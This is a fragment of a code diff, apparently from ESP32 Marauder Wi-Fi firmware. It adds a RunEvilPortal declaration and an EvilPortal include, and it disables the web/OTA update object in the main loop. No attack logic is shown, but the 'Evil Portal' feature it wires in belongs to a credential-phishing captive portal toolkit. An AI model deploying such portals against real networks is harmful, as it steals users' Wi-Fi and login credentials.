void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
|
||||||
|
void RunEvilPortal(uint8_t scan_mode, uint16_t color);
|
||||||
bool checkMem();
|
bool checkMem();
|
||||||
#ifdef HAS_BT
|
#ifdef HAS_BT
|
||||||
static void scanCompleteCB(BLEScanResults scanResults);
|
static void scanCompleteCB(BLEScanResults scanResults);
|
||||||
|
|||||||
@@ -13,6 +13,8 @@ https://www.online-utility.org/image/convert/to/XBM
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include <WiFi.h>
|
#include <WiFi.h>
|
||||||
|
//#include "Web.h"
|
||||||
|
#include "EvilPortal.h"
|
||||||
#include <Wire.h>
|
#include <Wire.h>
|
||||||
#include "esp_wifi.h"
|
#include "esp_wifi.h"
|
||||||
#include "esp_wifi_types.h"
|
#include "esp_wifi_types.h"
|
||||||
@@ -24,11 +26,9 @@ https://www.online-utility.org/image/convert/to/XBM
|
|||||||
|
|
||||||
#include "Assets.h"
|
#include "Assets.h"
|
||||||
#include "WiFiScan.h"
|
#include "WiFiScan.h"
|
||||||
#include "EvilPortal.h"
|
|
||||||
#ifdef HAS_SD
|
#ifdef HAS_SD
|
||||||
#include "SDInterface.h"
|
#include "SDInterface.h"
|
||||||
#endif
|
#endif
|
||||||
#include "Web.h"
|
|
||||||
#include "Buffer.h"
|
#include "Buffer.h"
|
||||||
|
|
||||||
#ifdef MARAUDER_FLIPPER
|
#ifdef MARAUDER_FLIPPER
|
||||||
@@ -81,7 +81,7 @@ https://www.online-utility.org/image/convert/to/XBM
|
|||||||
|
|
||||||
WiFiScan wifi_scan_obj;
|
WiFiScan wifi_scan_obj;
|
||||||
EvilPortal evil_portal_obj;
|
EvilPortal evil_portal_obj;
|
||||||
Web web_obj;
|
//Web web_obj;
|
||||||
Buffer buffer_obj;
|
Buffer buffer_obj;
|
||||||
EspInterface esp_obj;
|
EspInterface esp_obj;
|
||||||
Settings settings_obj;
|
Settings settings_obj;
|
||||||
@@ -403,8 +403,8 @@ void loop()
|
|||||||
led_obj.main(currentTime);
|
led_obj.main(currentTime);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
|
//if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
|
||||||
web_obj.main();
|
// web_obj.main();
|
||||||
#ifdef HAS_SCREEN
|
#ifdef HAS_SCREEN
|
||||||
delay(1);
|
delay(1);
|
||||||
#else
|
#else
|
||||||
|
|||||||
Reference in New Issue
Block a user